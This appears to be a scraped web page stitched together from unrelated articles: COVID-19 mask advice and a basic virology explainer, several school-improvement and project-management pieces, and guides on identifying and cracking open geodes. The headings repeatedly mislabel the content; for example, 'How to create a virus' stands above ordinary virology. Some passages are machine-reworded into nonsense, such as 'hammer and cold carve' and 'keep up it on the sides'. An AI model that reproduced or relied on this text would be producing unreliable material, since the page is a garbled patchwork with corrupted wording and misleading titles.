If COVID-19 is spreading in your community, stay safe by taking some simple precautions, such as physical distancing, wearing a mask, keeping rooms well ventilated, avoiding crowds, cleaning your hands, and coughing into a bent elbow or tissue. Check local advice where you live and work. Do it all!

Make wearing a mask a normal part of being around other people. The appropriate use, storage and cleaning or disposal of masks are essential to make them as effective as possible.

Here are the basics of how to wear a mask:

Clean your hands before you put your mask on, as well as before and after you take it off, and after you touch it at any time.
Make sure it covers both your nose, mouth and chin.
When you take off a mask, store it in a clean plastic bag, and every day either wash it if it’s a fabric mask, or dispose of a medical mask in a trash bin.
Don’t use masks with valves.

For specifics on what type of mask to wear and when, see our Q&A and watch our videos. There is also a Q&A focused on masks and children.

Find out more about the science of how COVID-19 infects people, and our bodies react, by watching or reading this interview.

How to create a virus

Viruses are intracellular obligate parasites, which means that they cannot replicate or express their genes without the help of a living cell. A single virus particle (virion) is in and of itself essentially inert. It lacks needed components that cells have to reproduce. When a virus infects a cell, it marshals the cell’s ribosomes, enzymes and much of the cellular machinery to replicate. Unlike what we have seen in cellular replication processes such as mitosis and meiosis, viral replication produces many progeny, that when complete, leave the host cell to infect other cells in the organism.

Viral Genetic Material

Viruses may contain double-stranded DNA, double-stranded RNA, single-stranded DNA or single-stranded RNA. The type of genetic material found in a particular virus depends on the nature and function of the specific virus. The exact nature of what happens after a host is infected varies depending on the nature of the virus. The process for double-stranded DNA, single-stranded DNA, double-stranded RNA and single-stranded RNA viral replication will differ. For example, double-stranded DNA viruses typically must enter the host cell’s nucleus before they can replicate. Single-stranded RNA viruses however, replicate mainly in the host cell’s cytoplasm.

Once a virus infects its host and the viral progeny components are produced by the host’s cellular machinery, the assembly of the viral capsid is a non-enzymatic process. It is usually spontaneous. Viruses typically can only infect a limited number of hosts (also known as host range). The “lock and key” mechanism is the most common explanation for this range. Certain proteins on the virus particle must fit certain receptor sites on the particular host’s cell surface.

How Viruses Infect Cells

The basic process of viral infection and virus replication occurs in 6 main steps.

Adsorption – virus binds to the host cell.
Penetration – virus injects its genome into host cell.
Viral Genome Replication – viral genome replicates using the host’s cellular machinery.
Assembly – viral components and enzymes are produced and begin to assemble.
Maturation – viral components assemble and viruses fully develop.
Release – newly produced viruses are expelled from the host cell.

Viruses may infect any type of cell including animal cells, plant cells, and bacterial cells. To view an example of the process of viral infection and virus replication, see Virus Replication: Bacteriophage. You will discover how a bacteriophage, a virus that infects bacteria, replicates after infecting a bacterial cell.

Griffith Parks, associate dean for research at the College of Medicine and director of the Burnett School of Biomedical Sciences outlines how the COVID-19 virus became a pandemic.

By Deborah GERMAN, VICE PRESIDENT FOR HEALTH AFFAIRS AND DEAN OF COLLEGE OF MEDICINE and Griffith Parks, College of Medicine and Burnett School of Biomedical Sciences | August 27, 2020

How to create a virus

Viruses have been around for nearly 500 million years. So what happened to make the COVID-19 virus into a pandemic? How did this virus appear out of nowhere and then spread to millions across the globe? For answers, we turn this week to Griffith Parks, associate dean for research at the College of Medicine, director of the Burnett School of Biomedical Sciences, and a nationally recognized virus expert.

You may be surprised to know most of us have caught other versions of the coronavirus — it’s actually one of the types of viruses that can cause the “common cold.” The COVID-19 virus is a unique type within the larger coronavirus family. Humans have never experienced it before, so no one had developed an immunity to it.

Many viruses, in fact, are common in wild animals — no, there’s no evidence you can get COVID-19 virus from your dog or cat. In the wild, these viruses are often less severe — they may sicken or kill some weaker animals but are not a widespread threat to the entire population. Current research evidence suggests that the COVID-19 virus may have originated in bats.

The danger comes when these viruses find a way to spread to humans. They either mutate to become more infectious to humans or we come in very close contact with a wild animal. This can happen as more human development encroaches on wild habitats. That encroachment is one of several reasons why we have seen pandemics increase in the past 15 to 20 years.

This animal-to-human spread is thought to be very rare. But once a virus jumps to people, it can rapidly spread through the population because of our behaviors. Different viruses can spread by different ways — through blood (hepatitis virus), sexual interactions (HIV), eating (norovirus) or through the air. COVID-19 spreads through air droplets we create when we cough, sneeze or speak. We take 12 to 20 breaths a minute while resting and we share each other’s air. That’s the danger of airborne viruses. And we’ve learned that one of the hallmarks of the COVID-19 virus is the ease with which it spreads between people. Now, combine that with today’s mobile society — you can fly from Dublin to Australia in a day – and you see how an airborne virus that begins in one part of the world can spread quickly and easily across the globe. And once it enters a community, an airborne virus spreads because of our social nature — we live in crowded cities and often gather in bars, restaurants, concerts, theme parks and sporting events.

That’s why wearing a face covering and physical distancing are so important in controlling the spread of COVID-19. Viruses exist for one purpose — to infect a person and spread to the next person. And they’re very good at it. Without a vaccine or other therapies, the only way to stop an airborne virus is to change our behaviors that allow it to easily jump from one person to another.

We can also help reduce pandemics through continued scientific research. For example, scientists and physicians have experience with the flu virus – every year, we track flu viruses across the globe and analyze that year’s strain in order to prepare for a possible outbreak of certain strains. That kind of survey research must continue worldwide. We must discover the microbiology of how a virus moves to human populations or changes to become more contagious to humans. Knowledge is power and the first step to prevention.

There is no way to escape viruses. They have been around as long as life itself. But through our actions – our behaviors and scientific outreach — we can better prevent their transmission.

How to create a successful project for school

June 27, 2022Cat-Diabeteshowwwww toooo dooo?

By Cameron Pipkin Sep 9, 2015

How to create a successful project for school

In a recent article, we outlined four keys to successful school improvement. These four steps have been validated by decades of research, including studies mentioned in that article.

The first step we described was establishing a strategic plan. This is by far the most important element, because without a clear plan to guide your improvement efforts, success is nearly impossible to attain.

At School Improvement Network, we’ve helped more than 20,000 schools worldwide achieve measurable improvement, and we’ve had the opportunity to observe what works and what doesn’t when it comes to establishing a plan. Based on our experiences, here are five key elements of an effective school improvement plan.

1. Start with a vision

What should your vision for improvement look like? This will be different for every school or district, but you’ll need to establish a common definition that will guide your improvement efforts. In other words, what are you looking to achieve—and how will you define success?

2. Conduct a needs assessment

To get from point A to point B, you have to know not only where you’re going, but also where you’re starting from. That requires an honest assessment of your current practices and results.

Begin with a comprehensive needs assessment that accurately gauges your strengths, weaknesses, and areas for improvement. Tools that can help you assess your needs include student achievement data, classroom walkthrough information, and surveys of students, parents, teachers, and administrators.

Don’t be afraid to confront hard realities. Sound decision making relies on having a clear picture of the facts. In his bestselling book series: Good to Great, Great by Choice, and Built to Last, Jim Collins and his research team studied the core success principles of the greatest high-growth companies in the country. They found these organizations infused their entire planning process with “the brutal facts of reality.” As Collins put it, when you “start with an honest and diligent effort to determine the truth of the situation, the right decisions often become self-evident.”

3. Identify goals and objectives

Once you have a clear sense of where you are now, you can begin mapping out a strategy for progressing to where you want to be. Your plan should include concise, measurable, and achievable goals and objectives that will lead you on the path to success.

For example, suppose your needs assessment determines that some students are struggling because they are bored, frustrated, or overwhelmed with the pace of instruction. You also discover that many students are failing to see the relevance of what they are learning.

To address these problems, you might establish the following goals: (1) implement more personalized learning to meet every student at an appropriate level of instruction; (2) connect what students are learning to authentic, real-world tasks; and (3) use a variety of formative assessment strategies to verify students’ understanding before advancing to a new topic.

Limiting your objectives can yield better results, faster. Because time and resources are always limited, the best course of action is to focus on the most important goals, the ones that are going to make the largest impact. This point has been echoed by numerous researchers.

“The common pattern in schools is for leaders to implement multiple new initiatives in an attempt to address a broad range of problems. In trying to solve everything at once, nothing gets the attention it really needs, and ultimately nothing gets solved,” wrote Trent Kaufman, Emily Grimm, and Allison Miller in their book Collaborative School Improvement.

4. Outline specific action steps

One of the most common roadblocks that repeatedly prevents districts from achieving success is that their plan is not actionable.

A strong vision and a list of goals and objectives is not enough. You also need to outline what you will do to achieve those goals. Without specific action steps to guide your progress, your plan will falter.

Successful school districts map out strategies for every employee, making sure each person understands his or her role in fulfilling the plan.

5. Involve all stakeholders in the process

Research shows that strategies developed collaboratively become more widely supported and adopted—and that the most effective leaders know how to listen to their constituents.

According to Collins, the most successful organizations “create a culture wherein people have a tremendous opportunity to be heard.” He observes that great leadership “means having the humility to grasp the fact that you do not yet understand enough to have the answers—and then to ask questions that will lead to the best possible insights.”

Develop a process that involves all stakeholders—teachers, administrators, students, parents, and community leaders—in establishing a vision, setting goals, and outlining action steps. Solicit feedback throughout the process, and listen to what your stakeholders have to say.

To learn more about crafting an effective strategic plan, as well as the other key elements of success, download the free white paper, “Four Keys to Successful School Improvement.”

This article was sponsored by School Improvement Network and not written by the EdSurge editorial staff.

Diana Eskander · October 10, 2018 · Updated April 8, 2022

How to create a successful project for school

What makes a project successful?

A project can take many unexpected turns on its journey to completion. Helping your project succeed involves detailed planning and organization. Project management software provides a way for project managers to optimize team resources and schedule, using collaboration and communication platforms, task management and delegation, and integrations with other software. Ten of the best project management software are listed below.

6 Ways of Measuring Project Success

Measuring the success of a project once it’s brought to completion is a valuable practice. It provides a learning opportunity for future undertakings, and, the opportunity to assess the true effectiveness of the project. In order to have a holistic view, objective and subjective criteria need to be considered.

1. Scope

This is the intended result of a project and what is required to bring it to completion. To get a real measure of your project’s success you want to determine if it achieved its objectives within the given framework.

2. Schedule

This is easy enough to measure and understand. Were you able to hit your milestones on time? Did your project get delivered on time? And if not, how far behind schedule was it?

3. Budget

Did you manage to deliver your project within budget? Was it over or under? And if so, by how much? I’m sure it comes as no surprise that your ability to deliver your project within budget is usually considered one of the greatest indicators of success.

4. Team satisfaction

This is more subjective in nature and is often overlooked when evaluating project success. But I beg to say that team satisfaction should be at the top of your success criteria. They’re the ones who were deep in the trenches, and they’ll be the ones by your side on the next project adventure too. They also have deeper insights that even the top stakeholders may not have.

5. Customer satisfaction

Along with your team, you also want to get the feedback of your clients. Are they content with the results? Were their needs met? Find a way to track client satisfaction through the project life cycle all the way to delivery.

6. Quality

The point isn’t only to deliver the intended work but also, to exceed expectations. It’s important to track quality and make adjustments where necessary. Even after the project is delivered, quality assurance is often an ongoing piece of the project puzzle.

Ultimately, you want to evaluate if the project hit its target and how smooth the delivery was. Were the results implemented quickly and easily? Are the stakeholders, including your team members, satisfied with the results? Project success isn’t all black and white; there are grey areas that are a little more difficult to measure but are definitely worth taking the time to evaluate. The more you can work out the kinks of each project, the more successful each subsequent project will be.

Check out these Project Management Courses from TechRepublic Academy!

How to create a successful project for school

In today’s economy, it’s hard to find the money to get into a good school or bring new and innovative technology into classrooms. If you’ve found financial success in the world, giving back by allowing others to achieve the best education possible is one great way to spend your money.

But creating an education foundation isn’t as easy as throwing a bunch of money into an account and giving it away. It takes a lot of effort, planning, and commitment to fundraising in order to make an education foundation successful.

If you’re interested in starting your own education foundation, keep reading. We’re going to break down the basics for you so you can start planning your own education foundation today.

Table of Contents

What is a Foundation

First, let’s take a look at what a foundation is. A foundation is a not-for-profit organization or trust that gives money away for charitable reasons, like science, religion, and education.

There are two main kinds of foundations: grantmaking public charities and private foundations.

A private foundation gets its money from a single source, like a family or a corporation. A grantmaking public charity, or a public foundation, obtains funding through a number of different sources. How to create a successful project for school

Be Sure You Can Commit

Before you take on the responsibility of a foundation, you need to be positive you can take on the commitment. It’s not as simple as just giving people money and calling it a day.

Running a foundation, like this foundation, is like running another business, and you need to treat it the same way. You’ll spend a lot of time ensuring that everything is running smoothly, so ensure that you have a passion for this kind of work.

Spring for an Attorney and Make Bylaws

Getting an attorney who is experienced in foundations and trusts is an invaluable resource for any foundation. Attorneys can help you make decisions about your organization.

Will you run a charitable trust or a 501(c)3? An attorney can help you decide.

In addition to hiring an attorney to help you make basic decisions, you should also make your own bylaws.

These laws should include the board selection process, how your foundation will make decisions, what meetings you need to have, and what you’ll do when a conflict-of-interest pops up.

There need to be rules for everyone in your foundation to follow in order to ensure that it runs as smoothly as possible,

Decide Who Will Get Your Money

Once you’ve set up the internal infrastructure, you can set criteria for who the recipients of your funding will be.

If you set up your foundation in such a way that anyone can receive a grant without meeting a certain set of criteria, your foundation will be without purpose. You want to decide what you’re passionate about, what you want to see in the world and build your criteria around that.

Some of the criteria you should keep in mind are the kinds of programs you would like to support and what your application timeline will look like.

In addition to the application process, you may want to require the recipients of your grant to provide a follow-up report so you can show where your money went and how it helped someone get a good education.

Find Your Board Members

It might be tempting to immediately fill your board with family and friends, before you make that call, consider a few other options.

When you fill your board with people who are in your circle, your fundraising circle isn’t as large. You’ll have a lot of overlap and you won’t cover as broad of a spectrum as you would if you had other people there to help.

Instead of just hiring friends and family, considering hiring people who have experience in fundraising and social service projects. These people are bound to have connections with a lot of folks who are willing to give money to a good cause.

Develop Fundraising Plans

While we’re on the topic of fundraising, it’s also important that you develop detailed plans as to how you’re going to bring in money for your foundation.

Treat this like any other business. Set up solid, measurable goals for yourself for each quarter. Lay out how you’re going to achieve those goals in detail, and then take the steps to make it happen.

Unless you’ve got the cash in your own financials to fund this foundation, you’re going to need a lot of money. Start making plans now and get your foundation’s name out there so people can start thinking about it.

The Conflict of Interest

The biggest mistake an education foundation can make is using the funds for purposes other than helping those in need. Your foundation should never use its money to advance other businesses, selling products, or delivering services.

Also, it’s a good idea to not get involved in politics. Otherwise, your tax-exempt status could be revoked.

Good Fund Management

Another mistake many foundations make is when the owner of the foundation considers the foundation and their business as one entity. However, you have to make sure that you separate your business funds from your foundation funds, don’t let the two cross.

Get different employer ID numbers for your foundation and your business. They’re two different things and should be treated that way.

If you would like to donate to your corporation from your business funds, be specific about it and document everything. And never, ever use the foundation’s funds to fund your business.

Creating a Successful Education Foundation

Creating an education foundation is a great way to give back to the community and see the young people of today thrive. When you can provide the funds for an education, you’re ensuring a brighter future for everyone, not just the person or group you helped to fund.

If you’re looking for a way to make a positive change in the lives of many young people, starting an education foundation is a great way to do it.

For more great ideas for how to give back, check out this article next.

How to create a successful project for school

“Operations keep the lights on, strategy provides a light at the end of the tunnel, but project management is the train engine that moves the organization forward.” — Joy Gumz

… and the project manager keeps the whole train on the tracks.

With t he right amount of planning, implementing and monitoring you have the opportunity to complete a project on time, on budget and with high quality results, instead of ending up with a project that doesn’t fully meet all the KPIs (key performance indicators).

There are so many reasons why a project might fail – setting up unrealistic expectations, poor methodology and requirements, inadequate resources, poor project management, untrained team members and so on. However, t hese things can be avoided by adopting effective practices and project management techniques which will help to establish a clear understanding of expectations and processes among all the people on board.

We gathered and listed 5 best practices for project implementation, outlining the major phases of managing and discussing the key steps for each one.

Start with a clear project scope

Some people (myself included) can get pretty excited when working on a new project and can get carried away with the ideas flow. Although we as a company believe in adapting plans as we go, starting a project without a clear vision can lead to unexpected difficulties. You and your team should invest your time in gathering information, assigning tasks to specific people and having a good overview of your resources. The end result should be a well-rounded project plan with a clear scope, steps, implementation process and a well-defined target.

The project scope is the primary deliverable from the planning process and it describes all the aspects of the project.

Put everything on a timeline

How to create a successful project for school

So now that you have a clear idea of what you want to achieve and what you need to do to get there, all you need to do is place all the tasks on a timeline and make sure that each person is on board with the plan.

A visual timeline will give you a bird’s eye view of your entire project and resources. On top of that, having a visual understanding of all the steps and tasks needed to be completed can help you figure out if you have set overly optimistic deployment dates. This can keep both you and your team grounded and focused on delivering results by realistic schedules.

Tip: don’t try to stick to the timeline too rigorously. Make changes and adapt when something comes up because plans always change in real life.

Prepare to keep planning

As I said above, changes happen all the time. However, you can always have a basic plan for managing these changes. You have to set some expectations on how the team should manage unexpected issues, scope change, risks, quality, communication and so on. Sometimes projects are smooth and easy to manage and sometimes they are a complete nightmare that wakes you up at 3 a.m. and give you bad flashbacks.

On some level, this project PTSD can be avoided by planning for blockers proactively and by ensuring that the project team has a common understanding of how to deal with issues if things go south.

Implement while keeping an eye on the metrics

Once the project has been planned accordingly to its scope and goals, the implementation phase can begin. In theory, since you have already agreed on your project scope and you have a basic backup plan if something doesn’t work, the only thing remaining is to implement your plan and processes efficiently. As a manager, there are a few things you should keep an eye on.

Check the project timeline on a regular basis in order to determine how your team is progressing.
Keep your timeline updated and make sure that you and your team are still focused on the plan. Determine whether the project will be completed within the original effort, cost, and duration estimates. If the situation has changed, you should determine the critical path for continuing and look for ways to accelerate the activities to get you back on track.
Monitor your resources. You should look at the amount of money and time your project has actually consumed and determine whether you have spent more than you have originally estimated, based on the work that has been completed. If so, be proactive, and take smart business decisions that could potentially make the project more effective.

It is also important to look for signs showing that the project may be in trouble. Some of them could be:

Team morale starts to decline.
Deliverable quality starts to deteriorate.
Lack of communication.

Keeping an eye on the quality

Getting a project done on time and under budget is not enough. You need to make sure that you deliver a quality product on top of everything else. Quality means making sure that you build what you said you would and that you do it as efficiently as you can. And that means trying not to make too many mistakes and always keeping your project on track to deliver the expected results.

Feedback is the cornerstone of most successful projects so don’t be afraid to ask your team or outsiders to give you their 2 cents on the project. Feedback truly is something we all need, no matter if we’re intrinsically or extrinsically motivated to do something. It shows us what we already did correctly and where we need to develop to become better and more successful in helping others and achieving our goals.

Bottom line

Each project is different and some of these tips may not apply to you. Regardless of how you manage your team and what your implementation flow is, don’t be afraid to think outside the box and motivate your team while you go. Celebrate important milestones and take your team out for a drink from time to time.

Do your best, don’t loose your focus and don’t forget to have fun while doing it!

How to create a successful project for school

A good project charter can decide whether the project even gets started. It gives authorization for the project to become active, so the project manager needs it before they can access resources. Here’s everything you need to know to make the perfect project charter.

Project charter definition

A project charter sets out the scope, objectives, and people involved in the project. This formal document uses all that information to authorize the project. So the charter lets the project manager use organizational and outsourced resources to complete the project.

Can a project charter be changed?

Like any project document, the charter can be amended and updated. Sometimes, it’s even necessary to meet the project objective and Statement of Work.

The project initiator, sponsor, or Change Control Board has to approve changes. Before the project manager proposes changes to the charter, they need to consider the effect on these:

Time
Scope
Cost
Quality
Risk
Resources

How to make a project charter

Use these headers to build your charter so it covers all the essential elements:

Introduction – explains the project’s purpose. Includes the project name, a brief description, and the formal authorization.

Project business case, goals and scope – sets out the scope of the project and any unique characteristics.

Success criteria – the critical factors that determine the project’s success. This is a list of deliverables expected on project completion.

Deliverables – more detailed primary project requirements or key deliverables.

Budget – the cost estimate for the project, including information about who can approve expenses, both from the allocated budget. Includes any additional spending the project may require.

Schedule/milestones – a comprehensive schedule with project milestones, or stages, for measuring its progress and success.

Constraints and assumptions – detail the known and unknown parameters of the project.

Summary of risks – summarize any potential or real major threats to the success of the project.

Team and organization – list the people and stakeholders who will work on the project (the project team). Outline their roles and who is appointed the project manager. An organization chart is a good way to show the project team framework.

Approvals – finally, set aside a section for the project’s sponsor/client and stakeholders to record their approval (or disapproval) of the project charter document.

How to present a project charter

It’s important to present the project charter properly to guarantee project approval. Just attaching a PDF or slideshow to an email isn’t really sufficient, but you can do this after a formal presentation.

Create a slideshow and present your project charter to the sponsor, client, or stakeholders in a meeting. Give them time to ask questions. It’s a good idea to include team leads and some team members in the presentation. Here are some presentation tips:

Be prepared to adjust your presentation style according to your audience, and tailor it to fit.
Pass out 1-2 page printout summaries of the presentation
Analyse your audience – who are the primary and technical decision makers? What are their preferences? How do they feel about the project?
Expect people to ask questions and talk during the presentation, and be prepared to answer questions prior to the conclusion.
Make eye contact with your audience and adopt an open body language style, but avoid extravagant body and hand movements.
Avoid reading your presentation from notes in your hand.

Project charter example

Opportunity

Currently, the website is unoptimized for mobile.

Goal

Redesign the website so it’s more responsive and makes it easier to place orders on mobile devices.

Objectives

In Scope

Business Case

Make the website mobile-responsive

How to crack open a geode

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How to crack open a geode

How to Break Open A Geode

How to crack open a geode

Whether you found a whole, unopened geode, or purchased an intact geode from from a retailer; the real fun of geodes comes in the initial opening of the geode.

While museum grade geodes are cut with a high speed water-cooled diamond saw, most amateur rock collectors probably don’t have access to this type of equipment. Though this method of opening geodes can lead to beautifully presentable, precisely cut geodes or geode slices.

So what do we do? Well, for the average rockhound like you and I, opening a geode may be a more forceful and less precise process. However, there are a few commonly used methods that people use to open geodes that I’ll cover here. And I’ll do my best to help you carefully open your geodes without inflicting more damage to them then necessary.

Method #1: The Blunt Force Method

First up is the blunt force method.

A very simple way to crack a geode is simply to place the geode inside of a sock or fabric bag to contain the soon to be broken pieces.

With the geode in a bag, gently striking the geode with a rock-hammer, sledgehammer, or even a harder rock should facture the geode just enough to crack it open.

With this method, your geode will most likely end up in a few different pieces. With a little practice and some luck, you might be able to split a geode in half. But keep in mind that cracking open a geode like this will always result in edges that are rough and uneven.

Method #2: Score With A Hammer And Chisel

If you want a little more precision to produce a more iconic image of a perfectly split geode into two fairly equal pieces, the hammer and chisel method is the way to go.

A hammer and chisel accompanied with a little patience and skill should do the trick in cracking open a geode.

With the chisel, slowly tap your way around the circumference of the rock. The idea here is to only score the edge and not crack it open just yet.

Once the outside of the geode is scored around the entire circumference, more forceful blows on a second go around should eventually open the geode around the score line that you made with the chisel.

What Are Geodes?

Chances are if you’re reading this, you already know what a geode is. But just in case, here’s a quick description of what geodes are.

Simply speaking, geodes are hollow rocks that contain an insanely beautiful array of crystal formations inside. And depending on the minerals that make up the geode, different geodes will contain different kinds of crystals, such as amethyst, agate and quartz.

Geode Facts

Geodes may not always be dry inside. Since the seeping of mineral laced water forms geodes, opening a younger geode may reveal water inside it as well. As a matter of fact, here’s a video of a man drinking the water inside a geode!

Commercially sold geodes can be dyed colors. Particularly those thin geode slices that are sold in a dazzling array of colors. Not all geodes on the market are natural representations of the minerals.

The World’s Largest Geode is claimed to be in the state of Ohio. Crystal Cave was discovered in 1887 as workers for the winery were digging a well. The crystal-laden cave is located about 40 feet below the surface. The crystals have a blueish color and are made of strontium sulfate. The massive geode is 35 feet in diameter at its widest point. What’s incredible is that some of the crystals inside the world record geode measure as wide as 18 inches across and weigh up to a staggering 300 pounds. Believe it or not, but the geode, as it sits today, is somewhat smaller than it was when it was originally discovered. This is because some of the crystals inside of it have been harvested by collectors and even sold.

Seems like I’m always getting calls from folks asking “How can I crack a geode open without breaking it into small pieces?” Well, there are a number of ways, some good and some not so good. Here, I will outline four of the most shared ways. [By the way, it’s a good idea to use safety goggles whenever you start banging away at a rock.]

1) Diamond Saw – Should you be fortunate enough to have a large diamond saw, or know someone that owns one, you can saw the geodes in two. This works best when there is a vice to keep up the specimen. You can cut the geode open and end up with two halves with a smooth confront on each. (But not everyone has a diamond saw….)

2) Another method of opening geodes that works well, (the method I use most often) is to crack the geode open with an old fashioned cast-iron plumbing pipe cutter. This is a tool that plumbers used to use in doing plumbing in homes when they worked with the cast iron plumbing pipes. (Homes built prior to about 35 years ago.) I have one of these tools that I use to break geodes open and most of the time I can break them with two matching halves. This really does a good job.

Maybe you have seen show dealers that were breaking geodes open with one of these tools. The tool has a chain at the business end with links like a bicycle chain, and in this chain there are round carbide rollers with sharp edges on them.

To break the geode open, you simply wrap the chain, with the carbide rollers, around the geode, and fasten it into a notch in the tool and press down on the manager. This constricts the chain around the geode uniformly all the way around and squeezes to where it breaks the geode open into two halves. I got my cast iron plumbing pipe cutter from a retired plumber here locally. If you’re going to break a lot of geodes you may want to get one.

3) Hammer and carve. Most folks don’t have a diamond saw or plumbing pipe cutter, and only want to break a associate of geodes open. Well, you can do a pretty good job with a hammer and cold carve. I’ve done it a number of times and it works well. Take your hammer, cold carve and geodes outside where there is a concrete walk, driveway, steps, etc., in other words a hard surface. I wouldn’t try it on a wooden surface. And you almost need three hands to do this. Place the geode on the concrete and keep up it on the sides with one hand, then keep up the cold carve on the top of the geode and strike it LIGHTLY with your hammer. Don’t try to break it open now…. Rotate the geode about a half inch, place the carve in line with where you just hit it and strike the carve again … LIGHTLY. Do this all the way around the largest part of the geode. By the time you have hit the carve in a line all the way around the geode, it should be ready to open. If the geode has not broken open at this point, start around the circumference again, remarkable the geode with the cold carve in a straight line. Strike the carve a little harder this time. This is a little slow, but if you do it right and don’t get in too big a hurry, you should be able to break the geode open into two halves that you can fit back together to where you can’t tell where it was broken.

4) Hammer – Of course you can strike the geode repeatedly with the hammer until it breaks open, but, it most likely will end up in a few pieces. Not a good method!

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How to crack open a geode

How To Tell If a Rock Is A Geode

Every rockhound loves a good geode, and the best are those we’ve gathered ourselves. While it can be tempting to start busting every rock you find with a rock pick, you can usually tell before you attack.

Geodes are a specific formation and can usually be identified by their round shape and bumpy texture. These reliable indicators don’t tell the whole story, however.

So, let’s go a bit further and give you an overview of how to tell if a rock is a geode.

Defining Geodes

The formal definition of a geode is a hollow nodule of crystals. The internal cluster is always surrounded on the exterior by crystal formations.

Geodes are a specific geological structure. Not every crystal-bearing rock is a geode, those which are filled in a solid manner are known as nodules.

Nodules can form in round shapes with a stable matrix, usually rhyolite, to make the formations known as thundereggs. Thunderegg is sometimes used for any spherical, filled nodule but strictly speaking it’s a geographic name for spherical nodules.

Geodes are always hollow, it’s their defining feature. The interior crystal formation can be of any kind and the stone remains a geode. All geodes are nodules, but not all nodules are geodes.

Location, Location, Location

How to crack open a geode

Geodes don’t form randomly, they form under very specific conditions. While they’re not rare, they tend to only occur in small areas.

If you’re not in an area where geodes are formed, you’re probably looking at something else. Few rocks resemble geodes, but newbies sometimes mistake agate nodules and other igneous formations for geodes.

You’re not going to dig up geodes in random areas for the most part.

In other words: the first step to finding out if a rock is a geode is knowing where it’s from. Chances are you’ll break into a whole mess of disappointment if you weren’t digging in an area known to have them.

The best fields for geodes in the US tend to be in the Western US in desert areas. Some of the most famous are in Southern California, which is a bonus if your whole vacation isn’t centered on rockhounding trips.

Some states with notable deposits include:

California
Arizona
Nevada
Utah
Iowa

There’s a lot of public lands that contain geodes, so do some research if you’re headed out to the Pacific. You’ll find some great dig spots along the way.

Smaller locations can often be found in those states if you know where to look. Getting involved with the rockhounding community can lead to a lot of spots off the beaten trail.

If you’re not in an area that’s known for geodes and find something that matches them on the outside you may be looking at agate, jasper, or other cryptocrystalline silica forms.

Different areas will also have different types of geodes. The crystals contained within them range from calcite to quartz to fluorite to pyrite. They’re a unique formation, after all, not a unique stone!

Tell-Tale Signs of a Geode

The following signs are good indicators you’ve got a geode on your hands.

Geodes are usually spherical, but they always have a bumpy surface.
Geodes will sometimes have loose material inside, which can be heard when shaking the rock. You can also tap lightly with a stone or hammer to see if it sounds hollow.
Geodes are usually lighter than their size would indicate since the interior doesn’t contain any material.
Are you in an area where geodes are normally found?

If the stone you’re looking at meets the above, congratulations! You’ve got a geode on your hands.

The question now is what to do with it.

What To Look For on The Outside of a Geode

How to crack open a geode

Besides knowing the locality of where your potential geode came from, the next most important thing to pay attention to when trying to figure out if the rock you have in your hand is a geode or not, is to simply inspect the outside of the geode.

What are the features on the outside of a geode that you should look for?

Geodes will typically not present with a smooth outside surface. What you’ll typically find on a geode is a bumpy, uneven surface. Sometimes you can even find them with nodule like bumps on the outside surface. If it’s smooth, then most likely what you have is not a geode.
Geodes are almost always spherical in shape, meaning they will almost always be round. So if what you have is a triangular or pointy specimen, then most likely it is not a geode.

Cracking Open Your Geodes

Breaking open a geode can be a tricky affair. It mostly depends on how you intend to display your mineral.

How to crack open a geode

The Rough Method

Not everyone has access to specialized equipment, so you may need to use a rough method to open up a geode.

I recommend using a rock hammer. Put your safety glasses on, grab your hammer, and secure the geode.

In the field, you can place the geode between a couple of larger rocks. At home, I prefer to use a vice to hold the stone initially.

You want to try for a small initial hole, so you’ll have more material to work with when preparing your specimen. Don’t neglect the corners of a rock hammer’s face, that single point of contact is great for creating clean fractures in silica materials.

Use the corner of the face and tap with increasing pressure until you break into the cavity. You can then use the pick end of your rock pick or a flathead screwdriver to break off smaller pieces of the exterior to create your display piece.

If you’re looking for a cleaner cut without lapidary equipment, you’ll need a chisel.

Use the chisel to create a line around the center of the geode, gradually increasing the depth. When you’re slightly into the interior material you can place the chisel in the scored line and strike it with a hammer.

While not as predictable as a saw, this often leaves you with two halves that can be cleaned up.

Proper Cutting for Display

How to crack open a geode

Cutting a geode with a lapidary saw is your best bet for getting an impressive shelf specimen.

Lapidary saws are rather easy to use, but access is a big problem for most people. If you live in a city try looking up local rock clubs, they’ll often have equipment available in a workshop for members.

If you’ve got space for a setup you can start with a cheap tile saw. Make sure that it runs wet and replace the initial blade with a lapidary blade in the same dimensions. Depending on the saw and blades, you may need to get creative.

In either case, you’ll just need to pass the geode through the blade of the saw. You’ll end up with a perfect cut every time.

This is also the best way to go if you’re planning on selling some of your specimens.

What is a Geode?

The term geode is derived from the Greek word for “Earthlike” and refers to a hollow rock with a crystal-lined cavity. These rocks may range in size from a few centimeters to several meters in diameter, and they come in many different shapes including spheres, ovals, oblong blobs, and irregular masses. As an example, the geode pictured below is lined with amethyst crystals and exhibits an irregular shape.

How to crack open a geode

How do Geodes Form?

Geodes form in a multi-step process. The first step involves the creation of a cavity in rock. This may occur, for example, when lava cools; lava can “leak” out of a hardened shell and leave a void space, or dissolved gases may leave pores behind in the rock. Cavities may also form in sedimentary rocks when a section of rock dissolves and leaves behind a void space. Osmosis may also play a part in forming cavities as water seeps into and expands saline cavities to equalize osmotic pressure.

After the cavity forms, mineral-laden water will slowly seep into the void space and deposit its minerals as crystals. This process may take thousands or millions of years. If the crystals continue to form to the point of completely filling the void space, then the “geode” will become solid and be called a nodule instead.

The minerals deposited within a geode depend heavily upon several factors including the location where the geode was formed, ground and water chemistry, and the type of rock surrounding the geode. As a result, geodes from different regions often have different minerals within them.

Types of Geodes

Because a geode is defined as a hollow rock lined with crystals, geodes vary not in their structure but rather in the type or types of crystals found within their cavities. Common crystals include quartz, agate, jasper, gypsum, chalcedony, hematite, dolomite, calcite, and many others. (Some unusual geodes may even contain petroleum!) Multiple types of minerals may form within a single geode, and the crystals may form in distinct layers or shapes, which can produce beautiful patterns and structures. This interesting geode, for example, contains strange calcite and fluorite structures.

How to crack open a geode

How to Identify a Geode

Perhaps the easiest (and only) way to positively identify a geode is to crack it open and look for the hollow interior. If you are unable to crack open a potential geode, however, then there are several tricks to identifying potential geodes. Because they have a hollow cavity, geodes are often lighter than solid rocks of the same size and shape. They may also have loose crystals inside, which will cause them to rattle when shaken. Geodes are also often round or roundish, and their surface frequently has a distinct texture that distinguishes it from surrounding rocks; see the image below.

How to crack open a geode

How to Crack Open a Geode

There are several different methods of cracking open geodes. The simplest method involves placing the geode in a cloth bag, sock, or another flexible, tough container and striking it with a hammer. This method works for smaller geodes, but it may break the geode into more pieces than desired!

